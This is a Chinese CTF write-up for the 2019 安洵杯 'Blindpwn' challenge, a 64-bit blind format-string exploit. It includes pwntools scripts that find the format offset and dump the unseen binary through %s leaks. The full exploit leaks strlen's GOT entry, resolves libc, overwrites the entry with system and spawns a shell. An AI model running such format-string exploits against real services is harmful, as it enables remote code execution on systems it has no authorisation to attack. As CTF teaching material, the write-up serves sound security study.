Blindpwn-64位有偏移

发表于 2021-01-16 分类于 Challenge， 2019， 安洵杯， Pwn
Challenge | 2019 | 安洵杯 | Pwn | Blindpwn-64位有偏移

点击此处获得更好的阅读体验

WriteUp来源

https://xz.aliyun.com/t/6912

题目考点

解题思路

首先没有题目,只有端口,连接上去,测试,发现,存在格式化字符串漏洞

然后同时也没有任何数据的回显,只是不断的重复循环,输出你输入的内容

这里需要注意的是,可以通过输入空格或者特殊字符来初步猜测的判断,输入函数是gets还是scanf还是read...因为这三者对于输入的数据的读取是不同的,就比如我本次输入1\n,它却显示了两个换行,那么这个很可能是read函数用来接收输入,但这里只能是猜测,因为read是最好的利用函数...

那么,开始思考,我们目前没有任何有用的信息,该如何获取到有用的信息

这里就需要对于pwn进行盲打,dump整个程序下来...

然后根据dump下来的程序来寻找程序的地址,进行分析

同时因为输入%p 返回的是8个字节的数据,所以是64位程序

dump程序

计算偏移

dump程序需要首先知道格式化字符串函数的偏移

所以step 1--计算偏移

由于不喜欢手算,直接pwntools跑,加

```
#-*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
elfFileName = "./stilltest"
libcFileName = ""
ip = "0.0.0.0"
port = 10001

Debug = 1
if Debug:
    io = process(elfFileName)
else:
    io = remote(ip,port)

# calculate the offset
def exec_fmt(payload):
    io.recvuntil("\nPlease tell me:")
    io.sendline(payload)
    info = io.recvuntil("\n")
    return info


auto = FmtStr(exec_fmt)
offset = auto.offset
print "offset is "+ str(offset)

io.interactive()

'''
[*] Found format string offset: 8
offset is 8
'''
```

那么开始快乐的dump程序

dump代码编写

如果以文件尾作为dump结束的话,在挂载程序的时候可能出现无限泄露,可以考虑加上范围限制,这个要根据具体的情况考虑,这里暂时就无限泄露,ctrl+C断开

dump代码编写,其实有点头疼,因为其实对于数据处理来容易出现失误(输出的数据的尾巴,需要处理掉),网上有些博客上提供的dump脚本,有些都是错的...这里整理各位大佬的脚本,最后写出了一个比较合理的脚本

dump需要注意前面输出的内容,9个字节的Repeater:

```
#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context.log_level = 'debug'#critical/debug
p = process("./stilltest")
f = open("stilltestbin", "ab+")
#f = open("64weiba", "ab+")

begin = 0x400000
offset = 0
i=0
p.recvuntil('Please tell me:')
while True:#i<13:#True:#
    addr = begin + offset
    p.sendline("%10$saabbccddeef" + p64(addr))
    try:
        #info = p.recv(4)
        info = p.recvuntil('aabbccddeef',drop=True)[9:]
        remain = p.recvrepeat(0.2)#recv the tail to dump in cicle
        print info.encode("hex")
        print len(info)
    except EOFError:
        print "offset is " + str(offset)
        break
    if len(info)==0:
        print "info is null"
        offset += 1
        f.write('\x00')
    else:
        info += "\x00"
        offset += len(info)
        f.write(info)
        f.flush()
    #i = i + 1
    print "offset is " + str(offset)
f.close()
p.close()
#'''
```

前面可以先利用我设计的i来测试基地址,因为我们根本不知道这个程序的保护机制,所以我们没法知道是否开启了ASLR,那么测试基地址重要性,就来了,64位程序的基地址是0x400000,如果在此地址上面,返回的数据的确是0x7F454C46,那么就是没有开启ASLR

然后其中有段`remain = p.recvrepeat(0.2)#tail`这里很重要,就是为了读取前面截断数据后面输出的垃圾数据,这也是很多博客提供的脚本没法dump的原因...(不知道他们是如何dump的,可能有什么其它的骚操作?)

还有一个就是,读取的所有null,都应该转换为`\x00`,这样子就可以把scanf读取数据00截断的问题,给解决了

这个出现一个问题,就是偏移到了4096字节,就会报错

*首先操作系统中分页上 512 * 8 = 4096个字节为一页,而且分析了很多不同的64位elf文件,发现有两个段之间的偏移会很大...你看*

后面的段,从开始到文件结尾都是固定长度,但是我们一直dump,只能dump到这里,就会结束,因为一页,没了,那么后面的程序,got,.got.plt 和extern,如果愿意,也可以找到地址去dump到部分的地址值,最后根据plt/got表的格式进行分析,但是这太麻烦,需要分析文件头的结构中记录的地址偏移....(如果想要dump也可以用我的脚本,修改上你计算过的地址偏移,再把后面的数据dump下来,容易出问题,但是只要计算的值是对的,就没问题)

那么在这里,我们拿着残缺的程序,其实还是可以分析的...

dump程序的分析

dump下来的程序没法运行,同时载入的时候需要设置一下...

我们直接ida打开,找到代码段,分析汇编代码...

其实和分析32位程序一样的,虽然没法一下子找到start代码中对应的main的地址,但是我们通过分析汇编跳转,我们还是很容易找到,main函数的地址的...readelf -h 读取elf header,找到start函数地址,然后找到main函数的地址

但是这里我们最好不要反汇编出来,因为真的没什么用,64位程序的参数都是放入寄存器的,分析汇编出结果,比分析反汇编出来的伪代码来的快

如果不改,直接分析汇编代码,仔细分析,根据提示.txt,还是可以看出结构的..

慢慢分析这个结构就出来了:慢慢自己改名字...这里为什么不要根据F5出来的结果来看参数,要看汇编代码来判断

循环,调用函数...emmm,确实头疼,要猜,要根据功能和提示,才能最后判断...

那么剩下的就是去找到不同函数的got表的地址,熟悉plt表和got原理就知道双击strlen.可以泄露strlen函数地址

OK,完全简单了...就是简单的格式化字符串漏洞了,写exp...

exp

写exp注意00截断

发现printf函数的地址是不能用来泄露的...

> *我发现问题出现在于printf函数的地址上,很多时候pwn题在载入的时候,这个函数的地址都会是被scanf printf函数给解析的,解析了他们地址上的特殊符号...所以这个真的不好用...只能最好找到替代品,puts函数,或者strlen函数...常见的是strlen函数和puts函数一直都是格式化字符串钟爱的使用漏洞点...*

源码

```
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

int main(void){
    //init
    setbuf(stdout,0);
    setbuf(stdin,0);
    setbuf(stderr,0);
    printf("Hello,I am a computer Repeater updated.\nAfter a lot of machine learning,I know that the essence of man is a reread machine!\n");
    printf("So I'll answer whatever you say!\n");

    char buf[257];
    char format[300];
    unsigned int len1 = 0;
    while(1){
        alarm(3);
        memset(buf,0,sizeof(char)*257);
        memset(format,0,sizeof(char)*300);
        printf("Please tell me:");
        read(0,buf,256);
        sprintf(format,"Repeater:%s\n",buf);
        len1 = strlen(format);
        if(len1 > 270){
            printf("what you input is really long!");
            exit(0);
        }
        printf(format);
    }
    printf("game over!\n");
    return 0;
}
```

解题思路还是和32位一样:

找到strlen函数的地址,直接利用plt/got的知识,寻找到就行...

- *leak address*
- *use LibcSearcher to find libc*
- *getshell*

自己写的一个关键函数

但是getshell cover覆盖地址的时候需要改变代码:(珍贵的反序函数代码用来把地址放在后面...纯手工冰粉,现做现卖...)

```
def antitone_fmt_payload(offset, writes, numbwritten=0, write_size='byte'):
    config = {
        32 : {
            'byte': (4, 1, 0xFF, 'hh', 8),
            'short': (2, 2, 0xFFFF, 'h', 16),
            'int': (1, 4, 0xFFFFFFFF, '', 32)},
        64 : {
            'byte': (8, 1, 0xFF, 'hh', 8),
            'short': (4, 2, 0xFFFF, 'h', 16),
            'int': (2, 4, 0xFFFFFFFF, '', 32)
        }
    }

    if write_size not in ['byte', 'short', 'int']:
        log.error("write_size must be 'byte', 'short' or 'int'")

    number, step, mask, formatz, decalage = config[context.bits][write_size]

    payload = ""

    payload_last = ""
    for where,what in writes.items():
        for i in range(0,number*step,step):
            payload_last += pack(where+i)

    fmtCount = 0
    payload_forward = ""

    key_toadd = []
    key_offset_fmtCount = []


    for where,what in writes.items():
        for i in range(0,number):
            current = what & mask
            if numbwritten & mask <= current:
                to_add = current - (numbwritten & mask)
            else:
                to_add = (current | (mask+1)) - (numbwritten & mask)

            if to_add != 0:
                key_toadd.append(to_add)
                payload_forward += "%{}c".format(to_add)
            else:
                key_toadd.append(to_add)
            payload_forward += "%{}${}n".format(offset + fmtCount, formatz)
            key_offset_fmtCount.append(offset + fmtCount)
            #key_formatz.append(formatz)

            numbwritten += to_add
            what >>= decalage
            fmtCount += 1


    len1 = len(payload_forward)

    key_temp = []
    for i in range(len(key_offset_fmtCount)):
        key_temp.append(key_offset_fmtCount[i])

    x_add = 0
    y_add = 0
    while True:

        x_add = len1 / 8 + 1
        y_add = 8 - (len1 % 8)

        for i in range(len(key_temp)):
            key_temp[i] = key_offset_fmtCount[i] + x_add

        payload_temp = ""
        for i in range(0,number):
            if key_toadd[i] != 0:
                payload_temp += "%{}c".format(key_toadd[i])
            payload_temp += "%{}${}n".format(key_temp[i], formatz)

        len2 = len(payload_temp)

        xchange = y_add - (len2 - len1)
        if xchange >= 0:
            payload = payload_temp + xchange*'a' + payload_last
            return payload;
        else:
            len1 = len2
```

完整exp

那么完整的exp对于增加了strlen函数的题目之后就是这样子了:

```
#-*- coding:utf-8 -*-
from pwn import *
import time
from LibcSearcher import LibcSearcher
#context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
Debug = 1
if Debug:
    io = process("./stilltest")
```

```
else:
    io = remote('0.0.0.0',10003)

def antitone_fmt_payload(offset, writes, numbwritten=0, write_size='byte'):
    config = {
        32 : {
            'byte': (4, 1, 0xFF, 'hh', 8),
            'short': (2, 2, 0xFFFF, 'h', 16),
            'int': (1, 4, 0xFFFFFFFF, '', 32)},
        64 : {
            'byte': (8, 1, 0xFF, 'hh', 8),
            'short': (4, 2, 0xFFFF, 'h', 16),
            'int': (2, 4, 0xFFFFFFFF, '', 32)
        }
    }

    if write_size not in ['byte', 'short', 'int']:
        log.error("write_size must be 'byte', 'short' or 'int'")

    number, step, mask, formatz, decalage = config[context.bits][write_size]

    payload = ""

    payload_last = ""
    for where,what in writes.items():
        for i in range(0,number*step,step):
            payload_last += pack(where+i)

    fmtCount = 0
    payload_forward = ""

    key_toadd = []
    key_offset_fmtCount = []


    for where,what in writes.items():
        for i in range(0,number):
            current = what & mask
            if numbwritten & mask <= current:
                to_add = current - (numbwritten & mask)
            else:
                to_add = (current | (mask+1)) - (numbwritten & mask)

            if to_add != 0:
                key_toadd.append(to_add)
                payload_forward += "%{}c".format(to_add)
            else:
                key_toadd.append(to_add)
            payload_forward += "%{}${}n".format(offset + fmtCount, formatz)
            key_offset_fmtCount.append(offset + fmtCount)
            #key_formatz.append(formatz)

            numbwritten += to_add
            what >>= decalage
            fmtCount += 1


    len1 = len(payload_forward)

    key_temp = []
    for i in range(len(key_offset_fmtCount)):
        key_temp.append(key_offset_fmtCount[i])

    x_add = 0
    y_add = 0
    while True:

        x_add = len1 / 8 + 1
        y_add = 8 - (len1 % 8)

        for i in range(len(key_temp)):
            key_temp[i] = key_offset_fmtCount[i] + x_add

        payload_temp = ""
        for i in range(0,number):
            if key_toadd[i] != 0:
                payload_temp += "%{}c".format(key_toadd[i])
            payload_temp += "%{}${}n".format(key_temp[i], formatz)

        len2 = len(payload_temp)

        xchange = y_add - (len2 - len1)
        if xchange >= 0:
            payload = payload_temp + xchange*'a' + payload_last
            return payload;
        else:
            len1 = len2
#dump bin can not be loaded
#but can analysis
offset = 8
#step 1 leak the printf_got
#maybe plt 08048400
strlen_got = 0x601020
strlen_leak = "%9$s" + "SEND" + p64(strlen_got)
io.send(strlen_leak)
io.recvuntil('Repeater:')
libc_strlen = u64(io.recvuntil('SEND', drop=True).ljust(8, '\x00'))
print hex(libc_strlen)
#libc_printf = u64(io.recv()[8:16])
#print hex(libc_printf)
io.recv()

#step 2 find the libc
```

```
libc = LibcSearcher('strlen',libc_strlen)
libcbase = libc_strlen - libc.dump('strlen')
system_addr = libcbase + libc.dump('system')
print hex(system_addr)
#step 3 cover the address

payload_antitone = antitone_fmt_payload(8,{strlen_got : system_addr},write_size='short',numbwritten=9)
#payload_cover = fmtstr_payload(8,{putchar_got : system_addr},write_size='short')
io.sendline(payload_antitone)
io.recv()

#step 4 get shell
#time.sleep(10)
io.sendline(";/bin/sh\x00")
#io.recv()
print hex(system_addr)
io.interactive()
```

参考链接

- *陌小生*
- *默小西*
- *ctf-wiki*
- *pwntools官方文档...*

 # Challenge # Pwn # 2019 # 安洵杯
JustBase
BROP